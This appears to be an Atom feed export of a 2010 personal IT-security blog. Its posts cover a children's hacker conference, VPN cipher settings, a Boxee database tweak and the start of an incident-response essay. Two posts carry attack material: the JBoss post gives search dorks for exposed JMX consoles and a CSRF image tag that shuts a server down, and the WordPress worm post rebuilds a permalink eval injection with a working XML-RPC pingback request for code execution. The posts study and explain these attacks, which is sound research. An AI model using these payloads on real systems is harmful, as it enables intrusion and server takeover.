<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-6697834366425048596</id><updated>2011-08-14T03:00:37.957-04:00</updated><category term='Python'/><category term='CRLF'/><category term='Perl'/><category term='Tyler&apos;s Help Desk'/><category term='LF'/><category term='GNU'/><category term='Security'/><category term='Subversion'/><category term='Ruby'/><category term='Programming'/><category term='Funny'/><category term='CR'/><title type='text'>Tyler Krpata</title><subtitle type='html'>Serving your IT Security needs.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>70</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-7213222685951585982</id><published>2010-10-10T15:09:00.002-04:00</published><updated>2010-10-10T15:30:12.195-04:00</updated><title type='text'>HacKidCon</title><content type='html'>This weekend I attended &lt;a href="http://www.hackid.org/content/"&gt;HacKidCon&lt;/a&gt; with my 5-year-old. Overall, it was a very well put-together con, and we would definitely attend again.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The favorite was the "Maker" session with Larry Pesce from &lt;a href="http://pauldotcom.com/"&gt;PaulDotCom&lt;/a&gt;, in which the kids did a basic electronics project consisting of an LED "firefly" in a jar, then built a pneumatic marshmallow cannon. (I'd say the marshmallow cannon was probably the biggest hit of the weekend.) The session was clearly well-planned, and the execution was flawless. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Other high points included magician &lt;a href="http://www.abrakidabra.com/"&gt;Mike Bent&lt;/a&gt;, building and racing &lt;a href="http://www.legoderby.com/"&gt;Lego Derby&lt;/a&gt;, and a Brazilian Jiu-Jitsu session with instructors from &lt;a href="http://www.massbjj.com/"&gt;Mass BJJ&lt;/a&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;There was plenty of food, and more importantly coffee, so that worked out very well. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;One interesting note was that there were a couple of Lego Mindstorms sets just sitting out in an unused area, and they ended up being a huge hit. It seemed like a bit of an afterthought, but it actually provided a much-needed diversion for the kids AND the adults. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Suggestions for next time:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Two days is probably a little much for the younger kids. By day 2 we were both tired and cranky, and ended up leaving in the early afternoon. &lt;/li&gt;&lt;li&gt;There should probably be some more physically-oriented activities to let the kids blow off steam. They created their own by tearing around the main hallway throwing footballs at each other, which was probably not ideal. The BJJ session was good, but it would be nice if there was something running throughout the day. &lt;/li&gt;&lt;li&gt;More unstructured "village"-type activities. I think some of the sessions would have worked better that way, especially considering that the kids all had parents with them for help. For example, if we could have dropped in, sat at a computer, and worked on some of the programming language activities with a manual and an instructor available for questions, I think it would have worked better. &lt;/li&gt;&lt;li&gt;Related: I don't think one can expect kids to sit in front of a pile of computers, robots, electronics, etc. and expect them to wait while they pay attention to some slides.&lt;/li&gt;&lt;li&gt;45 minutes is about the longest a 5-year-old can sit and listen to a lecture, and even that is pushing it. I really don't think the standard conference talk format works well here, though I was surprised how interested the little one was in some of the topics related to online safety. &lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;These aren't complaints, though. Overall, HacKid was very well-executed, and all the kids seemed to have a great time. I have to tip my hat to the organizers and sponsors for a job well done. See you next year!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-7213222685951585982?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/7213222685951585982/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=7213222685951585982' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/7213222685951585982'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/7213222685951585982'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2010/10/hackidcon.html' title='HacKidCon'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-1050821039164644939</id><published>2010-06-10T18:27:00.002-04:00</published><updated>2010-06-10T18:30:11.917-04:00</updated><title type='text'>Juniper SSL VPN - SSL cipher suites</title><content type='html'>Juniper's SSL VPN continues to baffle me by doing inexplicably weird things. For example, you can tell it not to use weak ciphers, which is good. But it doesn't actually shut them off. It continues to let you negotiate an SSL session with weak ciphers, but then the SSL VPN itself gives you an error message: "This site requires Strong ciphers. Please upgrade your browser." &lt;br /&gt;&lt;br /&gt;Ok, so maybe that's kind of user friendly, but I wouldn't be surprised if it was exploitable as well.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-1050821039164644939?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/1050821039164644939/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=1050821039164644939' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/1050821039164644939'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/1050821039164644939'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2010/06/juniper-ssl-vpn-ssl-cipher-suites.html' title='Juniper SSL VPN - SSL cipher suites'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-570159644727047695</id><published>2010-06-05T02:39:00.002-04:00</published><updated>2010-06-05T02:39:54.727-04:00</updated><title type='text'>Like A Boss</title><content type='html'>I will be &lt;a href="http://defcon.org/html/defcon-18/dc-18-speakers.html#Krpata"&gt;talking about JBoss fail&lt;/a&gt; at DEFCON 18. Hope to see you there!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-570159644727047695?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/570159644727047695/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=570159644727047695' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/570159644727047695'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/570159644727047695'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2010/06/like-boss.html' title='Like A Boss'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-8476907445220048325</id><published>2010-03-24T16:15:00.005-04:00</published><updated>2010-03-24T16:24:21.169-04:00</updated><title type='text'>How to Manually Add a Movie Title to Boxee</title><content type='html'>I've started using &lt;a href="http://www.boxee.tv/"&gt;Boxee&lt;/a&gt; and it is really amazing. There's one small but very annoying issue I've come across. When Boxee indexes a movie or TV show, it attempts to go out and find the information about the file from IMDB. This usually works fine, but when it fails, there's no way to manually resolve it. This means that the media that fails to resolve does not appear in the appropriate menu. The ability to manually set this information is apparently coming, but in the meantime, here's how to do it manually.&lt;br /&gt;&lt;br /&gt;You will need a way to edit SQLite database files, such as &lt;a href="http://sourceforge.net/projects/sqlitebrowser/"&gt;SQLite Database Browser&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The database file you want to edit is located at&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;UserData/Database/boxee_catalog.db.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Linux: &lt;span style="font-family:courier new;"&gt;~/.boxee/UserData/&lt;/span&gt;&lt;br /&gt;Mac OS/X: &lt;span style="font-family:courier new;"&gt;~/Library/Application Support/BOXEE/UserData/&lt;/span&gt;&lt;br /&gt;AppleTV: &lt;span style="font-family:courier new;"&gt;~/Library/Application\ Support/BOXEE/UserData/&lt;/span&gt;&lt;br /&gt;Windows Vista: &lt;span style="font-family:courier new;"&gt;C:\Users\&lt;/span&gt;&lt;windows style="font-family: courier new;" user="" name=""&gt;\AppData\Roaming\BOXEE\userdata\&lt;/windows&gt;&lt;br /&gt;Windows XP: &lt;span style="font-family:courier new;"&gt;C:\Documents and Settings\&lt;/span&gt;&lt;your style="font-family: courier new;" windows="" user="" name=""&gt;\Application Data\BOXEE\userdata\&lt;/your&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_SYE2yJ9M5jQ/S6px43lftHI/AAAAAAAAACc/8p-dZ3hcZVE/s1600/image001.png"&gt;&lt;img style="float: left; margin: 0pt 10px 10px 0pt; cursor: pointer; width: 400px; height: 293px;" src="http://3.bp.blogspot.com/_SYE2yJ9M5jQ/S6px43lftHI/AAAAAAAAACc/8p-dZ3hcZVE/s400/image001.png" alt="" id="BLOGGER_PHOTO_ID_5452295520693236850" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;IMPORTANT: Back up the boxee_catalog file before editing!!&lt;br /&gt;&lt;br /&gt;You will want to edit the video_files table.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_SYE2yJ9M5jQ/S6pykEmCP7I/AAAAAAAAAC0/C8_BArpvvL0/s1600/image003.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 243px;" src="http://3.bp.blogspot.com/_SYE2yJ9M5jQ/S6pykEmCP7I/AAAAAAAAAC0/C8_BArpvvL0/s400/image003.png" alt="" id="BLOGGER_PHOTO_ID_5452296262919536562" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Add a new row to the table. The idVideo value should automatically increment to the next available value, but you may want to verify this.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_SYE2yJ9M5jQ/S6pzMZJ7QoI/AAAAAAAAAC8/Sx9UTJwT4fo/s1600/image005.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 243px;" src="http://1.bp.blogspot.com/_SYE2yJ9M5jQ/S6pzMZJ7QoI/AAAAAAAAAC8/Sx9UTJwT4fo/s400/image005.png" alt="" id="BLOGGER_PHOTO_ID_5452296955633549954" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;You do not have to fill in all the fields. These are the fields I used. I didn't really experiment to find out which ones were required.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_SYE2yJ9M5jQ/S6pzm9vBT2I/AAAAAAAAADE/H1qiRWkypa0/s1600/image007.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 243px;" src="http://1.bp.blogspot.com/_SYE2yJ9M5jQ/S6pzm9vBT2I/AAAAAAAAADE/H1qiRWkypa0/s400/image007.png" alt="" id="BLOGGER_PHOTO_ID_5452297412129410914" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_SYE2yJ9M5jQ/S6pzy0klyrI/AAAAAAAAADM/8Yn0eM4UGSI/s1600/image009.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 243px;" src="http://1.bp.blogspot.com/_SYE2yJ9M5jQ/S6pzy0klyrI/AAAAAAAAADM/8Yn0eM4UGSI/s400/image009.png" alt="" id="BLOGGER_PHOTO_ID_5452297615828175538" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Start up Boxee, and the new movie appears!&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_SYE2yJ9M5jQ/S6p0FYzA0HI/AAAAAAAAADU/uNIWqQBDPXo/s1600/image011.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 226px;" src="http://2.bp.blogspot.com/_SYE2yJ9M5jQ/S6p0FYzA0HI/AAAAAAAAADU/uNIWqQBDPXo/s400/image011.png" alt="" id="BLOGGER_PHOTO_ID_5452297934789988466" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-8476907445220048325?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/8476907445220048325/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=8476907445220048325' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/8476907445220048325'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/8476907445220048325'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2010/03/how-to-manually-add-movie-title-to.html' title='How to Manually Add a Movie Title to Boxee'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_SYE2yJ9M5jQ/S6px43lftHI/AAAAAAAAACc/8p-dZ3hcZVE/s72-c/image001.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-7861626283451090455</id><published>2010-02-22T16:36:00.003-05:00</published><updated>2010-02-22T16:55:19.871-05:00</updated><title type='text'>JBoss Attacks</title><content type='html'>Read this first:&lt;br /&gt;&lt;a href="http://carnal0wnage.blogspot.com/2009/11/hacking-unprotected-jboss-jmx-console.html"&gt;Hacking Unprotected JBOSS JMX Console Installations&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;An unprotected JMX console is a serious problem that doesn't get much attention. There are about a million Google dorks you can use to find one (or several). In addition to the ones in the linked post, I like:&lt;br /&gt;&lt;span class="status-body"&gt;&lt;span class="entry-content"&gt;inurl:"HtmlAdaptor" inurl:"maindeployer"&lt;br /&gt;and&lt;br /&gt;intitle:"tomcat status" inurl:8080&lt;br /&gt;&lt;br /&gt;And of course you can find unprotected JMX consoles in any other number of ways. This will allow you to do things like shut down servers or deploy your own J2EE apps.&lt;br /&gt;&lt;br /&gt;What I also noticed was interesting though, is that this functionality is completely CSRF-able. So even if YOU can't get to a particular site's JMX console, you may be able to CSRF someone else who can. Unfortunately there's no persistent authentication, so it might not be completely reliable; but it's a nice trick if you can make it work.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;&amp;lt;img src="http://jbosshost:8080/jmx-console/HtmlAdaptor?action=invokeOp&amp;amp;name=jboss.system%3Atype%3DServer&amp;amp;methodIndex=0" /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-7861626283451090455?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/7861626283451090455/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=7861626283451090455' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/7861626283451090455'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/7861626283451090455'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2010/02/jboss-attacks.html' title='JBoss Attacks'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-2236389624165219130</id><published>2010-02-01T15:55:00.003-05:00</published><updated>2010-02-01T16:08:05.599-05:00</updated><title type='text'>This Old Wordpress Worm</title><content type='html'>In my quest for some ammo to support my anti-Wordpress rants here in the office, I thought it would be a good idea to try to reproduce the exploit that was going around in that infamous Wordpress worm last summer. Turned out to be a little more time-consuming than I thought it would be, but also pretty interesting.&lt;br /&gt;&lt;br /&gt;I wanted to get this done in the laziest way possible, so I used all of the information available that would keep me from having to actually read or understand any code, or you know, do any hard work at all.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://wordpress.org/development/2009/09/keep-wordpress-secure/"&gt;The official post on the matter&lt;/a&gt; provided a lot of the necessary information, going into detail about the high-level functionality. &lt;blockquote&gt;"This particular worm, like many before it, is clever: it registers a user, uses a security bug (fixed earlier in the year) to allow evaluated code to be executed through the permalink structure, makes itself an admin, then uses JavaScript to hide itself when you look at users page, attempts to clean up after itself, then goes quiet so you never notice while it inserts hidden spam and malware into your old posts."&lt;br /&gt;&lt;/blockquote&gt;Since I don't care about the payload, all I need to know is:&lt;br /&gt;1. It requires a registered user&lt;br /&gt;2. It exploits a previously resolved security bug&lt;br /&gt;3. The attack vector is through the permalink structure&lt;br /&gt;4. It has something to do with eval'ed code&lt;br /&gt;&lt;br /&gt;A couple of additional blog posts provided sufficient detail to get started, notably &lt;a href="http://blog.nachotech.com/?p=125"&gt;http://blog.nachotech.com/?p=125&lt;/a&gt; which provided the HTTP logs of the attacker's activity.&lt;br /&gt;&lt;br /&gt;The first action is a call to /wp-login.php. That's just going to be logging in the registered user.&lt;br /&gt;&lt;br /&gt;The second action is a post to /wp-admin//options-permalink.php. That's the page that modifies the permalink structure. Notice the extra slash. That provides an authorization bypass allowing a normal user to modify the permalink structure. I didn't bother looking any further into the mechanics, and just took this one as a gimme.&lt;br /&gt;&lt;br /&gt;We are provided the payload that goes into the permalink structure, something like: &lt;span style="font-family:courier new;"&gt;%&amp;amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;amp;%/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Since this makes no sense to me right at the moment, I'm going to go back to the WP Trac system and try to find some more information. This was after the fact of the worm in question, but nevertheless very helpful. &lt;a href="http://core.trac.wordpress.org/ticket/10733"&gt;http://core.trac.wordpress.org/ticket/10733&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;So we now know that we want to hit an eval() in either classes.php or rewrite.php.&lt;br /&gt;&lt;br /&gt;Looking at the worm's third action, it looks like it posts to xmlrpc.php, so we'll try to see if we can get there from here.&lt;br /&gt;&lt;br /&gt;Looking at rewrite.php first, the eval() in rewrite.php is called in the url_to_postid() function.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;// Substitute the substring matches into the query.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;eval("\$query = \"" . addslashes($query) . "\";");&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Referencing back to xmlrpc.php, we can see that url_to_postid() is called from the pingback functions, which is just perfect!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;if ($post_ID = url_to_postid($pagelinkedto)) {&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The XML-RPC method is 'pingback.ping' and it takes the "linked from" URL and "post linked to" URL as parameters. Since the "post linked to" parameter is the one that url_to_postid() operates on, that's the only one we need to get right.&lt;br /&gt;&lt;br /&gt;Now the only question is: how is the url_to_postid() function actually constructing the $query variable to be eval()'ed?&lt;br /&gt;&lt;br /&gt;I'm not sure how to explain how the rewrite rules and associated filters get loaded, so I'll instead provide the following code and output:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;include('./wp-load.php');&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;$rewrite = $wp_rewrite-&gt;wp_rewrite_rules();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;var_dump($rewrite);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;array(87) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; ["robots\.txt$"]=&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; string(18) "index.php?robots=1"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; [".*wp-atom.php$"]=&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; string(19) "index.php?feed=atom"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; ...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; ["([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)/%evil%/trackback/?$"]=&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; string(118) "index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;day=$matches[3]&amp;amp;name=$matches[4]&amp;amp;%evil%$matches[5]&amp;amp;tb=1"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; ...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Check out what happens. If the token we put into the permalink structure (%evil%) isn't understood, it's included verbatim in the query string. This is what's later going to be eval'ed.&lt;br /&gt;&lt;br /&gt;So, back to url_to_postid(). When rewrite rules are enabled, it will loop through each rewrite rule trying to match against our query. If we get a match, we get to eval() the query string.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;foreach ($rewrite as $match =&gt; $query) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  if ( preg_match("!^$match!", $request_match, $matches) ) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    $query = preg_replace("!^.+\?!", '', $query);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    eval("\$query = \"" . addslashes($query) . "\";");&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So what we want to do is match our request to one of the regex patterns whose resulting query contains the code we want to eval(). Reading that sentence makes my head hurt, but it's really pretty simple.&lt;br /&gt;&lt;br /&gt;One thing that's interesting is that we're going to have a lot of the characters we'd want to use stripped out. The way the attacker did it was actually pretty cool:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;%&amp;amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;amp;%&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;or, easier to read:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;%&amp;amp;({${evil}}|.+)&amp;amp;%&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;First off, what's the mechanism through which evil() gets executed? The PHP docs are pretty weak on this point, but this was a handy little guide: &lt;a href="http://cowburn.info/2008/01/12/php-vars-curly-braces/"&gt;http://cowburn.info/2008/01/12/php-vars-curly-braces/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Now, why the regex-y looking parens and extra chars? Turns out if we want to include a dollar sign to indicate a PHP variable, that will break the regex matching, being a special character meaning "end of line". What the extra characters allow us to do is to turn the match into an OR which will match anything between %&amp;amp; and &amp;amp;%.&lt;br /&gt;&lt;br /&gt;Speaking of which, I still haven't figured out why we need the ampersands. Might just be a delimiter. I didn't use them.&lt;br /&gt;&lt;br /&gt;As a proof-of-concept, I modified my permalink structure to look like:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;/%year%/%monthnum%/%day%/%postname%/%({${phpinfo()}}|.+)%/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Then posted the following to xmlrpc.php&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&amp;lt;?xml version="1.0" encoding="iso-8859-1"?&gt;&lt;br /&gt;&amp;lt;methodCall&gt;&lt;br /&gt;&amp;lt;methodName&gt;pingback.ping&amp;lt;/methodName&gt;&lt;br /&gt;&amp;lt;params&gt;&lt;br /&gt;&amp;lt;param&gt;&lt;br /&gt;&amp;lt;value&gt;&lt;br /&gt; &amp;lt;string&gt;http://source&amp;lt;/string&gt;&lt;br /&gt;&amp;lt;/value&gt;&lt;br /&gt;&amp;lt;/param&gt;&lt;br /&gt;&amp;lt;param&gt;&lt;br /&gt;&amp;lt;value&gt;&lt;br /&gt; &amp;lt;string&gt;http://wordpresshost/wordpress/2010/01/29/hello-world/%({${phpinfo()}}|.+)%/trackback/&amp;lt;/string&gt;&lt;br /&gt;&amp;lt;/value&gt;&lt;br /&gt;&amp;lt;/param&gt;&lt;br /&gt;&amp;lt;/params&gt;&lt;br /&gt;&amp;lt;/methodCall&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Which triggered the phpinfo() call. From there we can include any payload to execute arbitrary code.&lt;br /&gt;&lt;br /&gt;I do want to call out the original attacker's payload as particularly clever (decode a base64-encoded referer header, and eval it.)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-2236389624165219130?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/2236389624165219130/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=2236389624165219130' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/2236389624165219130'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/2236389624165219130'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2010/02/this-old-wordpress-worm.html' title='This Old Wordpress Worm'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-3788790869577285877</id><published>2010-01-08T15:29:00.002-05:00</published><updated>2010-01-08T15:38:09.404-05:00</updated><title type='text'>Don't Cry Wolf</title><content type='html'>I often find myself in a position that's doesn't fit the security guy stereotype, the position of devil's advocate. In an organization that's heavily populated by engineering types, it's fairly common that a spike in traffic or an unexpected outage will be met with cries of "hackers! break-ins! denial of service!" and such. In these cases, I'm very deliberate in making sure that we have the facts before I pull the security incident alarm.&lt;br /&gt;&lt;br /&gt;As a security team, we only have so much goodwill to spend on security incidents. The first time we report one, the organization will pull out all the stops to make sure we have the resources we need to address it. As time goes on, the enthusiasm fades. The sure way to make sure we NEVER get any help on an incident is to start reporting false positives. Think about it... we report a denial-of-service, then eventually realize it was actually a misconfigured system causing the bad traffic. If this happens a couple of times, eventually the organization will treat it exactly like we treat a car alarm going off in the parking lot: "ignore it, eventually it'll shut off on its own."&lt;br 